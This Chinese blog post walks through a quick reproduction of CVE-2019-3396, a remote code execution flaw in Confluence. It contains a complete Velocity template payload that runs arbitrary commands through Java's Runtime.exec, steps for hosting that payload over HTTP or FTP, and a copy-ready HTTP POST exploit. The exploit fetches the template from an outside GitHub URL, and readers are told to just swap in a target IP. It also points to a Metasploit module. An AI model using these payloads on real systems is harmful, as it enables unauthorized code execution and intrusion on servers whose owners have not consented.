CVE-2019-3396 Confluence RCE漏洞简单粗暴复现
1,前言
网上也有很多关于该漏洞的说明和复现,不再做过多阐述,在复现该漏洞时踩了一些坑,然后发现了一个快速复现的方法,所以本篇文章介绍的是如何简单快速地复现该漏洞。想快速复现的直接看下面的poc即可。
2.漏洞复现过程简述
(1)vm文件
需求:需要远程包含一个后缀是.vm的文件,文件内容如下
#set ($e="exp")
#set ($a=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($cmd))
#set ($input=$e.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
#set($sc = $e.getClass().forName("java.util.Scanner"))
#set($constructor = $sc.getDeclaredConstructor($e.getClass().forName("java.io.InputStream")))
#set($scan=$constructor.newInstance($input).useDelimiter("\\A"))
#if($scan.hasNext())
$scan.next()
#end
注:网上的复现文章文件名是r.vm,文件名自己随便起,但是文件内容一定不要变
(2)复现步骤
注:我的服务器是ubuntu,vm文件随便放哪个目录都可以,但是记住http服务或者ftp服务的开启一定要在vm文件的目录下。这里我放到了tmp目录,vm文件名为cmd.vm
①将vm文件放入tmp目录
②自己的服务器搭建ftp服务或者http服务(python快速搭建)
搭建http服务
cd /tmp
python3 -m http.server
搭建ftp服务
cd /tmp
pip install pyftpdlib
python -m pyftpdlib -p 8888
②将poc中的_template的值改成
如果搭建的是http服务
http://yourip/cmd.vm
如果搭建的是ftp服务
ftp://yourip/cmd.vm
点击发包即可
注:上面的步骤我只是大概介绍,当作一个回顾,不详细,上面的详细步骤可以查看其它文章,写的都很详细。
3.快速复现
(1)问题
照着搭建ftp等方式去进行复现我竟然没有成功,ftp服务这些是没有问题的,测试过了,很是苦恼,但突然发现goby上面有该漏洞的poc,能够检测该漏洞,而且对于该漏洞还有验证功能,更厉害的是还有一个链接,该链接也就是那个vm文件,所以就不用再搭建http或者ftp环境了,直接把_template的值改成这个链接的即可。链接如下。
https://raw.githubusercontent.com/r33nd/confluence/master/cmd.vm
(2)完整POC如下
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: IP:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://IP:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&
Content-Type: application/json; charset=utf-8
Content-Length: 244
{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"https://raw.githubusercontent.com/r33nd/confluence/master/cmd.vm","cmd":"whoami"}}}
只需要改poc里面的IP地址(改为自己的目标IP),然后执行命令,poc中执行的是whoami命令。
PS:这个方法很简单,复制poc,把ip一换就好了,省略了搭建环境的步骤;但是如果从学习的角度出发建议小伙伴还是照着网上那种完整步骤去进行复现。如果是要追求速度的话,那么用这个方法还是会快一些的。
4.补充
最近试了一下msf里面,有CVE-2019-3396 Confluence RCE漏洞的漏洞利用模块;使用命令:search confluence即可搜索到confluence的相关漏洞利用模块,具体的利用就不再阐述了,看一下msf的简单使用应该就会啦。
再啰嗦一句,这个最好是有服务器的话用msf很简单,如果是本地kali的话那么还需要走代理之类的,没有服务器那么还是用上面的方法相对更简单点吧。。
![在这里插入图片描述](https://img-blog.csdnimg.cn/bd4b5a734b2f46f1b763c56222ffabd4.png)